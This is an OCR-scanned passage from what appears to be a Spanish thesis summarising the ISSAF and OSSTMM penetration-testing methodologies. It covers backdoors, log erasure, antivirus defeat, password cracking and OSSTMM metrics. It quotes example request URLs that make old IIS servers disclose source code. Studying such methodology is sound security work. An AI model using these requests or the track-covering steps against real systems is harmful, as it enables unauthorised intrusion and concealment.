durante o después de la prueba y son detectados por un atacante.

El canal de almacenamiento encubierto se puede describir como
la escritura de datos ocultos en un lugar de almacenamiento no
destinado especificamente a la comunicacién, por parte de las
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Canales
ocultos

entidades comunicantes.

Los canales encubiertos y la estenografia (el griego para la
escritura cubierta) son entretejidos y a menudo confundidos.
Ambos se ocupan de las técnicas de ocultacion de datos vy el
traspaso de mensajes en los canales de comunicacion legitimos

Puertas
traseras

Las puertas traseras estan destinadas a poder siempre volver a
un sistema determinado, incluso si la cuenta que utiliz6 para
hackear el sistema ya no esta disponible (por ejemplo, se ha
terminado). Las puertas traseras se pueden crear de varias
maneras. Ya sea utilizando

kits raiz (véase mas adelante), abriendo un puerto de escucha en
el sistema de destino, permitiendo que el sistema de destino se
conecte a su servidor, configurando un oyente para una
secuencia de paquetes determinada que a su vez abrird un
puerto.

Root-kits

Root-kits le permitira tener ain mas poder que el administrador
del sistema hace de un sistema. Podra controlar completamente
el sistema remoto. A menudo, los rootkits también permiten el
ocultamiento de archivos, procesos y / o redes, al tiempo que
permiten al individuo en control del rootkit detectar y usar esos
recursos.

Capa IX: Cubriendo pistas

Ocultar archivos es importante si el evaluador de seguridad
necesita ocultar las actividades que se han realizado hasta el

Ocultar momento. También es importante para ocultar las
archivos herramientas de modo que no sea necesario cargarlas en el
servidor de destino cada vez.
La importancia de esta etapa es facil de entender, pero
usualmente subestimada. Después de que un atacante ha
Borrar comprometido con éxito un sistema, le gustara mantenerlo sin
registros alertar al administrador, por razones obvias. Cuanto mas

tiempo el atacante permanezca en un sistema comprometido,
mejores seran las posibilidades de que pueda alcanzar sus
objetivos en la red.

En caso de que se implemente la comprobacion de la

Comprobacion | integridad estatica de sistemas como Tripwire, es dificil

de

la | realizar cambios en el sistema. Sin embargo, si la

integridad de | implementaciéon se realiz6 de forma incorrecta, por ejemplo,

la derrota dejando el archivo con las firmas de los archivos y programas
validos en el mismo servidor, sera posible modificar el sistema
y volver a generar las firmas.
El enfoque de este paso en las pruebas de penetracion es
Derrota al | poder desactivar o derrotar software AV para que el evaluador
antivirus pueda realizar actividades sin obstaculos y la posibilidad de

20




reactivar el AV mas tarde.

e Informe verbal, se debe informar inmediatamente para
asegurarse de que la organizacion es consciente de la

Presenta ) e oy
cion de identificacion de un problema critico.
Informes ¢ Informes finales, informe escrito que describa los resultados

detallados de las pruebas y revisiones con recomendaciones
para mejorar, que debe contener, alcance del proyecto,
herramientas que se utilizaron, fechas y duracion de las
pruebas, resultado de las pruebas, lista de las
vulnerabilidades encontradas y lista de recomendaciones.

Toda la informacion que se crea y / o se almacena en los
sistemas probados debe ser eliminado de estos sistemas. Si
Limpiar y | por algin motivo no es posible desde un sistema remoto, todos
destruir estos archivos (con su ubicacién) deben mencionarse en el
Artefactos informe técnico para que el personal técnico del cliente pueda
eliminarlos después de que el informe haya sido recibido.

El Marco de evaluacion de la seguridad de los sistemas de informacion (ISSAF)
plantea cuatro Entornos de Aplicabilidad:

e Redes

e Host

e Aplicaciones web
e Bases de datos.

De estos entornos hemos tomado los parametros que resultan de interés para el
presente trabajo de grado.

Entorno de Aplicabilidad I: RED

Pruebas de Seguridad de Contraseia
Obtencién de credenciales de autenticacion
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Describe el proceso de obtencion de credenciales de autenticacion durante el
test de penetracion o la auditoria de seguridad, que difiere dependiendo del
tipo de escenario: bajo privilegio para red remoto, red local y local host de
igual manera que alto privilegio para red remoto, red local y local host. Si los
privilegios son altos o bajos dependen del tipo de analisis o0 como el tipo de
aplicacion que se prueba. ISSAF ofrece un diagrama de flujo que muestra los
ataques posibles para las pruebas potenciales en busca de contrasefas o
informacion confidencial que se puede usar para obtener acceso a un sistema.

¢ Obtencion de credenciales de autenticacion de bajo privilegio en la red
en un test de penetracion externo, En esta evaluacion el probador de
penetracion generalmente solo tiene una conexion a Internet. El riesgo de
intrusos externos es la principal preocupacion, por lo que el probador de
penetracion procede como un intruso, ISSAF presenta un diagrama de flujo
para la recopilacion de informacion sobre las contrasefias y como obtenerlas
desde el exterior. En esta evaluacion se encuentra como barrera los
cortafuegos vy las listas de control de acceso (ACL) basadas en la direccion
IP, que restringen quién puede intentar autenticarse utilizando contrasefias
para un servicio determinado.

e Obtencién de credenciales de autenticacion de bajo privilegio en la red
en un test de penetraciéon interno, Si la principal preocupacion son las
personas con algun tipo de acceso interno, que puede ir desde los visitantes
qgue llevan una computadora portétil sin cuentas en el sistema interno, a los
empleados con bajo nivel de acceso o de entrada. Se Describe el proceso
de obtencion de diferentes tipos de contrasefias de uso comun, desde la
perspectiva de un interno con privilegios bajos en el sistema.

e Obtencién de credenciales de autenticacion de bajo privilegio en un
host local en un test de penetracion externo, En general, cuando alguien
tiene acceso fisico al host local, el juego termina, porque generalmente hay
una o mas maneras de obtener toda la informacion del sistema. En esta
seccion se aplica principalmente a los empleados que desean recopilar
credenciales de autenticacién local por algin motivo, pero no tienen
derechos administrativos para la maquina local por lo cual se describe el
proceso de obtencion de diferentes tipos de contrasefias de uso comudn
desde la maquina local, desde la perspectiva de un interno con privilegios
bajos en el sistema.

e Obtencion de credenciales de autenticacion de alto privilegio en una
red como un administrador externo, En este escenario, lo mas probable
es que el "atacante” sea un auditor, que ya tenga algun tipo de nivel de
acceso administrativo al sistema remoto, Excepto el posible caso de
conexiones SSH, en que el acceso administrativo es a algun tipo de
herramienta de control o configuracion (para servidores, enrutadores, etc.) y
que no permite la ejecucion directa de comandos. Debido a la naturaleza
remota del ataque, el uso de sniffers no es factible para recopilar las
credenciales disponibles desde la herramienta de control / configuracion
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remota.

e Obtencién de credenciales de autenticacion de alto privilegio en una
red como un administrador interno, En este escenario permite el control
total de la red a nivel de LAN, lo que significa que el atacante o el auditor
puede aplicar TODAS las técnicas descritas anteriormente (incluida la
instalacién del sniffer de red) para recopilar credenciales de autenticacion
con una proporcion de éxito muy alta, para recopilar las credenciales
disponibles de la red y los servidores.

e Obtencién de credenciales de autenticacion de alto privilegio en un
local host como un administrador, En este caso las credenciales de
autenticacion se reunen en el host local, que tiene privilegios
administrativos. Nada puede evitar que el atacante / auditor obtenga todas
las credenciales disponibles en el sistema.

Cracking de contrasefia encriptado /hash
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ISSAF recomienda tener en cuenta que este documento presenta herramientas
y técnicas validas en el momento de redactar del mismo, pero dada la rapida
evolucion del software y el mundo relacionado con la seguridad, se recomienda
complementar siempre este documento con bdsquedas en Internet. Si bien las
técnicas explicadas aqui probablemente seguirdn siendo validas durante
algunos afos, las herramientas y los detalles evolucionan rapidamente, por lo
tanto, utilice los motores de busqueda y no se pierda las ultimas noticias de
altima hora.

Considerar:

Tipos de contrasefa:

e Contrasefias en texto claro: la contrasefia se almacena 0 se envia sin
modificarse, estas no necesitan ser cracker

e Contrasefas ofuscadas: la contrasefia se almacena o se envia después de
una trasformacion mas o menos compleja, donde la transformacién es
reversible.

e Contrasefas cifradas: la contrasefia es encriptada al cambiar el formato de
la contrasefia que se puede desencriptar aplicando todas las operaciones
matematicas o l6gicas de manera ordenada.

e Contrasefias hash: no se posee la contrasefia sino el resumen del texto
equivalente al texto por lo cual es inviable obtener la contrasefia en texto
claro a partir del hash por lo cual el hacker opta por formar secuencias de
caracteres para sacar el resumen de las mismas para ser comparada.

e Contrasefa salada: es una contrasefa a la cual se a agrega componentes
aleatorios al texto plano durante el proceso de cifrado o hashing, lo que hace
gue sea mas dificil recuperar el texto al producir varias variantes diferentes
de texto de cifrado, dependiendo de la aleatoriedad de la sal afiadida.

Algoritmos, Algoritmos Publicos Y Propietarios

Es importante saber qué algoritmo se ha utilizado para una contrasefia
determinada a fin de identificar la herramienta de cracking adecuada. El saber
desde qué aplicacion / sistema vino ese texto de cifrado, generalmente puede
buscar informacién sobre el algoritmo utilizado en Internet o la documentacion
de la aplicacion / sistema en si.

Matematicas:

Todos los diferentes algoritmos de cifrado y hashing son al final el resultado de
la aplicacion de las matematicas por lo cual se utilizan diferentes tipos de
funciones matematicas para operar con la contrasefia de texto claro
(generalmente convertida en numeros para un facil manejo por las
computadoras, como la representacion binaria del cédigo ASCII) para producir
después de una serie de pasos la versibn encriptada o el hash
correspondiente.

Tablas de Arco Iris y Cracking del Arco Iris
Con la llegada del concepto de precomputar se generd todos los textos de
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cifrado dados para todos los textos claros posibles para determinado
algoritmo). De esta manera, que se puede generar una tabla con todos los
textos sin formato y sus textos de cifrado correspondientes, tabla que se
denomina en la actualidad una "Tabla Arco Iris". Por lo que no es necesario
crear hashes nuevamente durante el proceso de descifrado de contrasefas,
basta con analizar la tabla en busca de cualquier texto de cifrado dado vy,
cuando se encuentre, leer la siguiente columna para ver cual es el texto sin
formato asociado. Este proceso se conoce como "Rainbow Cracking" o "Instant
Cracking".

Procedimiento propuesto por ISSAF para craguear contrasefias:

e Seleccione la herramienta adecuada para descifrar contrasefias segun el
algoritmo de encriptacion / hash en uso.

e Organice la combinacion de ID de usuario + cifrado / hash en un formato
adecuado para la herramienta de descifrado de contrasefias que se
utilizara.

e Si las tablas de arcoiris no estan disponibles, utilice un ataque de
diccionario completo en la lista de contrasefias cifradas / hash.

e Si las tablas de arco iris no estan disponibles, defina el alcance de un
ataque de fuerza bruta e impleméntelo.

e Haga una tabla de busqueda de arco iris para las contrasefias cifradas /
hash.

ISSAF propone un conjunto de herramientas que se pueden utilizar para
el craqueo de contraseiia.

Entre las herramientas propuestas estan LC5, Cain, John the Ripper, Lepton's
Crack,

Estrategias de craqueo
La estrategia depende del problema que se enfrente y de los recursos.
Después de familiarizarse con las técnicas presentadas por ISSAF, se deberia
poder definir una estrategia adecuada para cada caso especifico. Una
estrategia genérica de descifrado de contrasefias se divide en 4 pasos.

e Obtener informacion

e Investigacion

e Diccionarios

e Construccion de tactica de craqueo

Evaluacion de la Seguridad del Switch

Con el fin de realizar una prueba de seguridad integral, es importante tomar el
concepto de seguridad en el ultimo paso y garantizar la prueba completa de los
switches y la capa 2 en la red. Un agujero es suficiente para exponer la
seguridad de la LAN corporativa. Un atacante no necesita atacar la capa
superior si la capa inferior puede darle acceso.

Para la evaluacion de la seguridad del Switch ISSAF propone seguir el
siguiente proceso:
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1. Evaluar la seguridad general del switch, se identificar la interfaz de
administracion de Switch ip, se prueba la conexion telnet y HTTP del
switch, identificar funcién del switch, entre otros.

2. Evaluar la seguridad de los puertos, probar el contenido de memoria de
las direcciones (CAM) de seguridad y probar el puerto de control de difusion

3. Evalue los Ataques de Salto de Vlan, probar el ataque de saltos de
VLAN por conmutacién de spoofing y por doble encapsulacion

4. Evaluar Ataques Privados de Vlan, realizar un bypass a una LAN privada
mediante el a un ataque al proxy de la capa 2.

. Ataques de Arbol de Expansion,

. Dhcp "Inanicion" , El atacante realiza la solicitud DHCP a través del cable,
pero sin enviar la version DHCP. Con el fin de que el dominio complete las
direcciones IP disponibles.

7. Ataques del Protocolo de Deteccién de Cisco (CDP), CDP es un
protocolo de capa 2 utilizado por los routers de Cisco para descubrirse en el
mismo enlace (segmento).

8. Ataques VTP, El VLAN Trunking Protocol (VTP) se utiliza para distribuir la
configuracion de Vlan entre switches.

9. Identificacién de Vulnerabilidades y Penetracion de Objetivos,
aplicando la metodologia penetracion de issaf

o 01

Evaluacion de la Seguridad del Router

Una vulnerabilidad sobre el dispositivo de enrutamiento puede comprometer
todo el tréfico de la red, puesto que los dispositivos de enrutamiento se utilizan
para dirigir el trafico de red y cualquier router se puede utilizar para manipular
el trafico de red. Por lo cual ISSAF tiene como objetivo evaluar la seguridad
de enrutador de extremo a extremo con el conocimiento de destino y o no,
proporcionar un punto de referencia para la evaluacion y contramedidas a las
debilidades encontradas para lo que se debe de comprender el entorno de la
organizacion a nivel de arquitectura o ubicacion fisica ademas de comprender
conocimiento de fundamentos y protocolos de enrutamiento. La seguridad del
router se evalla mediante el proceso:

¢ Identificacion del enrutador , identificacion del nombre, explorar los puertos,
identificacion del sistema operativo, analisis de protocolo y pruebas de fuga
de paquetes

e Evaluar problemas comunes en: configuraciones, conexiones VTY / TTY,
conexiones HTTP, TFTP, Finger, Cisco Discovery Protocol (CDP), protocolo
de tiempo de red (NTP), acceso al puerto de consola, seguridad de la
contrasefia, enrutamiento de fuentes sueltas y estrictas, spoofing de IP,
entre otros.

e Evaluar protocolos de enrutamiento: Exploracion Autbnoma del Sistema,
RIP (Protocolo de informacion del enrutador), Abrir la ruta mas corta primero
(OSPF), Protocolo de puerta de enlace de frontera (BGP), IRDP, IGRP y
EIGRP (Descubrimiento)
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Evaluar ataques de denegacion de servicio

Evaluacion de la Seguridad del Sistema de Deteccion de Intrusion

Las redes son vulnerables a los ataques contra los cuales un firewall solo
puede no ser suficiente. Un sistema de deteccién de intrusos (IDS) proporciona
una capa adicional de proteccion a un firewall. Un IDS o un sistema de
deteccion de intrusos recopilan informacion de una variedad de sistemas y
fuentes de red y analiza la informacion para detectar signos de intrusion.
Metodologia de Evaluacion de la Seguridad del Sistema de Deteccion de
Intrusion:

e Recoleccion de informacién mediante métodos pasivos y métodos activos,
recopilacion pasiva de informacion es un método para obtener informacion
sobre la empresa / organizacién especifica a través de métodos no activos,
incluida la ingenieria social. La informacion necesaria se puede obtener
mediante el uso de fuentes publicas regulares de informacion, como
motores de busqueda, whois consultas, puestos USENET, listas de correo
y otras fuentes.

e La recopilacion de informacion activa es un método para obtener
informacion sobre la empresa / organizacién especifica mediante el uso de
herramientas activas, en este meétodo se realiza : identificacion del
sistema de intrusos, Identificar la estacion de gestion y centralizar el
sistema de registro, Identificar las vulnerabilidades especificas de los
productos, Asignacion de red, Identificacion de Vulnerabilidad,
Penetracion, Obtencién de acceso y privilegios Escalada, Enumerar mas ,
Mantener el acceso , Cubriendo las pistas, Auditoria, Informes. La mayoria
de los pasos se deben de consultar de la metodologia de penetracion de
ISSAF.

Entorno De Aplicabilidad II: HOST

Evaluacion de la Seguridad del Sistema Unix / Linux

Los sistemas UNIX son atacados con mas frecuencia que el sistema Windows,
debido a que son open source por lo que se encuentran mas bugs en el
cddigo fuente y se explotan, pero a que a su vez hace que el cddigo abierto
sea seguro ya que el cadigo fuente es muchas veces mas probado y donde
los administradores de UNIX son mas conscientes de la seguridad y los
parches del sistema se liberan tan pronto como se libera el error. Ademas de la
disponibilidad, debido a que hay mas cajas GNU Linux y UNIX conectadas a
Internet.

No hay procedimientos metodicos para obtener acceso root a un sistema. Sin
embargo, ISSAF ofrece una idea o guia basica como esta:
1. Identificar los hosts en directo
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2. ldentificar puertos y servicios

3. Procedimiento de enumeracion

Identificar Usuarios

Identificar cuentas de correo electronico

Identificar a los administradores

Identificar redes y dominios

4. Examinar Protocolos Comunes (para la probable operacion futura de
canales encubiertos)

5. Examinar Unix

Evaluacion de la Seguridad del Sistema Windows

Al evaluar la seguridad del sistema Windows se busca: comprender los
problemas de seguridad de Windows y protegerlos, obtener acceso y
escalamiento de privilegio, ir mas alla de la raiz y extender el ataque, mediante
el seguimiento de un enfoque estructurado para la penetracién del sistema
Windows, por medio del proceso de :
Recolectar informacion
Mapeo de redes
Identificacion de vulnerabilidades
Penetracion
Acceso y escalamiento de privilegios
Enumeracion
Mantenimiento del acceso
Cubrimiento de pistas
Auditoria
Presentacion de informes

e Limpieza y destruccion de artefactos
Metodologia de penetracion de issaf. En esta fase issaf nos provee de
pruebas que se pueden realizar en cada fase de la prueba de penetracion para
evaluar la seguridad de un sistema Windows.

Evaluacion de Seguridad del Servidor Web

En ISSAF las pruebas de seguridad de un IS (Servidor de informacion de
internet) o servidor web se pueden dividir en tres categorias principales:

e Divulgacion de informacion

» ASP :: $ DATA BUG, Ocurre debido a un error en la forma en que IIS analiza
los archivos. Una solicitud de tricker permite mostrar el contenido de los
archivos del lado del servidor. Al escribir por ejemplo
http://www.target.com/default.asp::$DATA en su navegador, se mostrara el
cbdigo fuente del archivo default.asp en su navegador.

» ASP DOT BUG, al agregar uno o mas puntos al final de la URL.
http://www.target.com/products.asp. El IS no podria manejar bien esta
solicitud y revelara el cédigo fuente.

» + .HTR ERROR, Revela el cédigo fuente dando + .htr al final de la solicitud.
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http://www.target.com/abc.asp+.htr

Entre otros.

Desbordamiento de bufer
» DoS, la vulnerabilidad en 1IS 5.0 e 1IS 5.1 puede llevar a la denegacién de
servicio y lo peor es que sera remota y hara que el servidor se reinicie.

Trasversal del sistema de archivos.

» Doble Decode File Syetem Transfer, los caracteres hexadecimales
doblemente codificados también permitian que se construyeran solicitudes
HTTP que escapaban de las verificaciones de seguridad normales de IIS y
permitian el acceso a recursos fuera de Webroot.

Entornos De Aplicabilidad Ill: SEGURIDAD DE APLICACIONES

Evaluacion De Seguridad De La Aplicacion Web

Se busca vulnerar la seguridad de una aplicacion web con el fin de obtener el
acceso de la maquina remota, para reunir las credenciales disponibles de la
red y de los servidores. ISSAF propone de la siguiente metodologia para
evaluar la seguridad de la aplicacion web:

e Identificacion Del Proveedor Y La Version Del Servidor Web, es el
primer paso al realizar la evaluacion de aplicaciones web Identificacion Del
Proveedor Y La Version Del Servidor Web - Banner Grabbing, Para
determinar un servidor web manualmente, se debe comprobar el
encabezado de respuesta del servidor.

e |dentificar EI Proveedor Y La Version De Web Server - Utilizando
Herramientas Automatizadas

e Identificar El Proveedor Y La Version Del Servidor Web - Utilizando
Archivos Predeterminados, servidor expone directorios y paginas
predeterminados al realizar una instalacion predeterminada. Existen dos
métodos para comprobar la existencia de estos archivos y directorios
predeterminados, busqueda manual y herramienta automatizada.

e Identificar ElI Proveedor Y La Version Del Servidor Web -
Determinando La Extension De Las Paginas Web En El Servidor Web,
Es importante comprobar las extensiones de las paginas web en el
servidor web, puesto que las extensiones proporcionan pistas vitales para
determinar el servidor Web y el SO subyacente.

e Identificacion Del Proveedor Y La Version Del Servidor De Bases De
Datos - Por Error, Para almacenar datos, una aplicacion web también
puede utilizar un servidor de base de datos. Es importante determinar el
nombre y la version exactos del servidor de base de datos si esta siendo
utilizado por la aplicacion.

e Identificacion Del Servidor De Aplicaciones, Es importante determinar
el servidor de aplicaciones que se ejecuta en una maguina remota.

e Identificacién De La Estructura Del Directorio De Servidores Web, Una
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vez que se ha completado la deteccion del servidor web y los modulos en
el servidor web, el siguiente paso es determinar la estructura del directorio
en el servidor.

Copiar Sitio Web, Copiar todo el sitio Web y probarlo por vulnerabilidades
es un método muy conveniente para evaluar diversas amenazas que
incluyen buscar una palabra clave en particular, buscar correos
electronicos validos, enlaces externos, etc.

Prueba Ver Errores De Origen, el origen de cada pégina al escanear
puede ofrecer mucha informacién. Un origen de pagina puede contener la
siguiente informacion: Nombres de usuario, Contrasefia predeterminada,
Direccion de correo electronico, Informacion de redireccion automatica,
Compruebe HTTP-EQUIP para auto direccionamiento, Enlaces externos
Interfaz De Puerta Comun De Prueba, ataque se conoce como ataque
CGI. Al utilizar este ataque, una victima puede verse obligada a revelar
archivos y directorios con un simple comando "GET" y ejecutar comandos
remotos que deshabilitaran los controles de acceso

Prueba de directorio transversal

Pruebas de problemas especificos del producto, determinado ya el
servidor web en el que se ejecuta la aplicacion web y los médulos en el
servidor web, se puede explotar el servidor web o los modulos que se
ejecutan en él para obtener acceso a la maquina remota.

Ataques HTTPS, HTTPS es HTTP seguro encripta los datos en transito de
un cliente a otro, protegiéndolo de escucha y proporcionando privacidad a
los datos de los usuarios. Se busca fallas en las implementaciones de SSL
como el mod_ssl de Apache y el cédigo OpenSSL que pueden permitir que
un atacante cause una denegacion de servicio o la ejecucién remota de
cbdigo en el servidor con privilegios daemon.

Ataques por fuerza bruta, Se utiliza con el fin de adivinar nombre de
usuario y la contrasefia de cualquier usuario.

Comprobacién de directorios que no se mapean en la pagina, los
administradores mantienen directorios llamados / tmp, / src, / abc, / xyz, /
bkup del cédigo fuente de la aplicacion o para algun propdsito de copia de
seguridad sin vincularlos a la aplicacion web. Es bueno verificar esos
directorios con el fin de buscar fugas de informacion

Prueba de parametros invalidos, La creacion de secuencias de
comandos entre sitios es la capacidad de un atacante para hacer que un
servidor web envie una pagina al navegador de la victima que contiene un
script malicioso y / o HTML de la eleccion del atacante.

Manipulacion de URL, Los usuarios pueden manipular facilmente los
valores de cadena de consulta pasados por HTTP GET de cliente a
servidor porque se muestran en la barra de direcciones URL del
navegador.

Identificacion de vulnerabilidades, Los servidores web tienen diferentes
vulnerabilidades con nuevas vulnerabilidades que se descubren todos los
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dias. Es necesario verificar todas estas vulnerabilidades después de
determinar el servidor web de destino.

e Validacion de entrada, Las aplicaciones web deben validar todas y cada
una de las solicitudes de entrada del usuario. Esto significa que primero
deben verificarse el tipo de datos y los valores correspondientes antes de
gue las aplicaciones web sirvan los datos al cliente.

Prueba de Inyeccidén SQL, inyeccion SQL es una técnica que permite a un
atacante crear o modificar comandos SQL existentes (mediante el uso de
algunos simbolos especiales) para obtener acceso a datos importantes o
incluso la capacidad de ejecutar comandos de nivel del sistema en el servidor
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OSSTMM v 3.0
Open Source Security Testing Methodology Manual

INTRODUCCION

Representa un estandar de referencia imprescindible, para todo aquel que quiera
llevar a cabo un testeo de seguridad en forma ordenada y con calidad profesional.
Esta metodologia esta desarrollada por la organizacion ISECOM (Institute for
Security and Open Methodologies), una organizacion abierta y colaborativa que se
basa en la investigacion en seguridad informatica fundada en Enero del 2001. Su
objetivo es proporcionar concienciacion en seguridad, investigar, proveer de
certificaciones e integridad de negocio.

Su principal proyecto es la guia OSSTMM (Open Source Security Testing
Methodology, Manual de la Metodologia Abierta de Testeo de Seguridad). A largo
de los afios se ha convertido en un estandar. Uno de sus principales puntos a favor
es que tiene una vision global del concepto de la seguridad y no se centra en
porciones independientes de esta como si hacen otras metodologias

OBJETIVO

Ser una herramienta directa para la implementacion y documentacion de una prueba

de seguridad. El uso exitoso del OSSTMM muestra una medicion real de la

seguridad y los controles. EIl objetivo de esta metodologia es de poder responder
10

las preguntas del STAR (Security Test Audit Report) , que traducido al espafiol
seria Informe de auditoria de prueba de seguridad. Son unas preguntas que ayudan
tanto al auditor como al cliente a entender mejor el estado actual de la seguridad.

DEFINICION DE UN TEST DE SEGURIDAD
Se establecen 7 pasos para definir correctamente una prueba de seguridad:

1. Definir qué quiere proteger. Estos son los activos. Los mecanismos de proteccion
para estos activos son los controles que pondra a prueba para identificar
Limitaciones.

2. ldentificar el area alrededor de los activos que incluye los mecanismos de
proteccion y los procesos o servicios construidos alrededor de los activos. Aqui es
donde tendra lugar la interaccion con los activos. Esta es tu zona de compromiso.

3. Definir todo lo que estd fuera de la zona de compromiso que necesita para
mantener sus activos operativos. Esto puede incluir cosas que es posible que no
pueda influir directamente como la electricidad, la comida, el agua, el aire, el suelo
estable, la informacion, la legislacién, las regulaciones y cosas con las que pueda
trabajar, como sequedad, calidez, frescura, claridad, contratistas, colegas. , marca,
asociaciones, y asi sucesivamente. También cuenta lo que mantiene la
infraestructura operativa como procesos, protocolos y recursos continuados. Este
es su alcance de prueba.

4. Definir como el alcance interactia dentro y fuera. Compartimentar los
activos y la direccién desde la que se interactia con y hacia ellos: dentro-fuera,
fuera-dentro, dentro-dentro, fuera-fuera, desde el Departamento A hacia el B...
Estos son los vectores. Cada vector deberia ser de forma ideal un test separado
para proteger cada test por separado y de corta duracién, antes de que pudiera
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incidir demasiado en cambios dentro del entorno de trabajo.

5. ldentificar qué equipo se necesitara para cada prueba. Dentro de cada vector, las
interacciones pueden ocurrir en varios niveles. Estos niveles pueden clasificarse de
muchas maneras, sin embargo, aqui se han clasificado por funcion como cinco
canales. Los canales son humanos, fisicos, inalambricos, de telecomunicaciones y
redes de datos. Cada canal debe probarse por separado para cada vector.

6. Determinar qué informacion desea aprender de la prueba. ¢Estara probando las
interacciones con los activos o también la respuesta de las medidas de seguridad
activas? El tipo de prueba debe definirse individualmente para cada prueba, sin
embargo, hay seis tipos comunes identificados aqui como Persiana, Doble
Persiana, Caja Gris, Caja Doble Gris, Tandem e Inversion.

7. Asegurarse de que la prueba de seguridad que ha definido cumpla con las Reglas
de compromiso, una guia para asegurar el proceso para una prueba de seguridad
adecuada sin crear malentendidos, conceptos erroneos o falsas expectativas.

VENTAJAS

Realizar una auditoria OSSTMM e Los resultados pueden medirse de
asegura lo siguiente: forma cuantitativa.

e Los resultados son consistentes y se
pueden repetir

e Se han realizado las pruebas de
forma exhaustiva.

e Las pruebas incluyen todos los
ambitos necesarios.

Es importante antes de comenzar un proyecto de estas caracteristicas que haya

guedado bien claro y definido cual sera el tipo de la auditoria que se va a realizar,

puesto que cada una de ellas es capaz de generar una serie de resultados. La

metodologia propone distintos tipos de auditoria en funcién de las necesidades del

cliente: Hacking Etico, Caja Negra, Caja Gris, Caja blanca, Tandem, Inversion.

ALCANCE

El alcance comprende 3 clases posibles de actuacién e interaccion, de las cuales hay
cinco canales como se puede ver en la siguiente imagen.

Clases: Las clases son de designaciones oficiales actualmente en uso en la industria
de la seguridad, el gobierno y el ejército. Las clases se usan para definir un area de
estudio, investigacion u operacion:

COMSEC ( Communications Security) Seguridad de las Comunicaciones,
PHYSSEC ( Physical Security) Seguridad Fisica, y SPECSEC ( Spectrum
Security) Seguridad del Espectro.

Canales: Los Canales son los medios especificos para interactuar con los activos.
Esta metodologia evalla la seguridad desde todos los puntos de vista por medio de 5
canales: canales de seguridad fisica, humana, inalambrica de espectro
completo, de Telecomunicaciones y Redes de Datos.




CLASE CANAL DESCRIPCION

Comprende el elemento humano de la comunicacién
donde la interaccion es fisica o psicolégica.

Humano

Seguridad fisica (PHYSSEC)

Pruebas de seguridad fisica donde el canal es de
naturaleza fisica y no electronica. Comprende el
Fisico elemento tangible de seguridad donde la interaccion
requiere esfuerzo fisico o un transmisor de energia
para manipular.

Comprende todas las comunicaciones electronicas,
sefiales y emanaciones que tienen lugar sobre el
Seguridad del espectro inalambrico espectro electromagnético conocido.

(SPECSEC) Esto incluye ELSEC como comunicaciones
electrénicas, SIGSEC como sefiales y EMSEC, que
son emanaciones sin ataduras por cables.

Comprende todas las redes de telecomunicaciones,
digitales o anal6gicas, donde la interaccion se lleva a
cabo a través de lineas telefénicas establecidas o
lineas telefénicas similares.

Telecomunicaciones

Seguridad de Comunicaciones

(COMSEC) Comprende todos los sistemas electronicos y redes
Redes de datos de datos donde la interaccion se lleva a cabo a través
de lineas establecidas de cable y red cableada.

llustracién: Ambitos de actuacion de la metodologia OSSTMM

INFORME DE AUDITORIA DE PRUEBA DE SEGURIDAD (STAR)

Para medir tanto la minuciosidad de la prueba como la seguridad del objetivo, el uso de
esta metodologia debe concluir con el Informe de auditoria de prueba de seguridad
(STAR), disponible en este manual o en el sitio web de ISECOM.

STAR requiere la siguiente informacion:

Nombres de los
Duracion del test responsables del
analisis

Fecha y horarios de las
pruebas

Tipo de auditoria Enumeracién de los
z Alcance de las pruebas S s
realizada sistemas objetivo

Ambito utilizado Vector probado Meétricas

Problemas Procesos responsables

Estadoide lasipruebas encontrados de los fallos

llustracién : Contenido basico de un informe OSSTMM
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METRICAS OPERATIVAS DE SEGURIDAD

En OSSTMM las métricas se usan para medir el grado de seguridad de los activos
de una organizacién. En el argot de esta metodologia, se usan unos patrones
denominados RAV (Risk Assesment Values) Valores de Evaluacion de Riesgos.

El RAV es una escala de medida en funcion de la superficie de ataque. Este nos
permite determinar cuanta parte de la superficie esta expuesta. La informacion de cada
uno de los canales auditados se encuentra resumida en el RAV, que no es nada mas
gue los controles y las limitaciones.

Es muy importante destacar que esta puntuacion del estado de seguridad, llamada
Seguridad Actual segun la metodologia, es calculada para un alcance, un canal y un
vector. Si cualquiera de estos tres valores cambia la puntuacion que se obtenga es
otra distinta. Para poder calcular la puntuacion la organizacion de ISECOM pone a
disposicion de los auditores una hoja de Excel en donde se calcula de forma
automatica el valor del estado de seguridad actual en base a los datos que recibe,
tomando en cuenta las recomendaciones que dicta la metodologia para ponderar por
separado cada uno de los items por los que estd compuesto.

Los valores que hay que rellenar se clasifican en los tres grupos siguientes:

e Seguridad Operacional: Se refiere a la identificaciéon del nUmero puntos
de interaccion con el objetivo.

e Controles: Los controles de seguridad encargados de que la interaccion
se realice de una forma segura.

e Fallos: Son los fallos de seguridad que se han detectado.

Dentro de la Seguridad Operacional los puntos de interaccién se
clasifican de la siguiente manera:

e Visibilidad: ElI nimero de objetivos en el alcance los cuales tienen
alguna posible interaccion.

e Acceso: El numero de interacciones de cada objetivo.

e Trust: NUmero de interacciones entre los propios sistemas obijetivo (ej.
un servidor de aplicaciones interactuando con otro sistema que aloja la
BBDD).

Existen 10 tipos distintos de Controles que son los siguientes:
e Autenticacion: Punto en el que una autenticacion por parte del cliente del
servicio es necesaria.

e Integridad: Puntos donde el flujo de informacién que interactia no
puede ser interrumpido o modificado.

e Alarma: Puntos en donde se genera una alerta cuando se detecta
alguna actividad no autorizada.

Por altimo los Fallos de Seguridad se pueden clasificar de la siguiente forma:
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e Vulnerabilidad: Un error que permite el acceso a informacion o puede
denegar esta.

e Debilidad: Un error en cualquiera de los siguientes controles:
Autenticacion, Compensacion, Subyugacion, Continuidad o Poder de
Recuperacion (ej. Contrasefia por defecto del fabricante sin cambiar).

e Preocupacion: Un error en cualquiera de los siguientes controles: No-
Repudio, Confidencialidad, Privacidad, Integridad o Alarma.

e Exposicion: Acciones que provocan la visibilidad del objetivo de forma
directa o indirecta.

e Anomalia: Cuando no se puede entender parte o la totalidad del
sistema objetivo (muchas veces una situacion anémala es la antesala de
un fallo de seguridad mayor).

e Compensacion: Métodos utilizados para exigir la responsabilidad y
asegurar compensacion por todos los activos dentro del alcance (ej.
Aviso de prohibido el paso, solo acceso a personal autorizado)

e Subyugacion: Puntos en donde el usuario tiene la opcion de elegir
entre dos métodos, siendo uno de ellos seguro y el otro no (HTTP vs
HTTPS).

e Continuidad: Puntos en donde no es posible que cese la continuidad de
la actividad o servicio prestado (ej. Balanceadores de Carga).

e Poder de Recuperacion: Puntos en donde si falla algo no desencadena
un fallo en cadena (ej. Si el servidor de aplicaciones no puede conectar
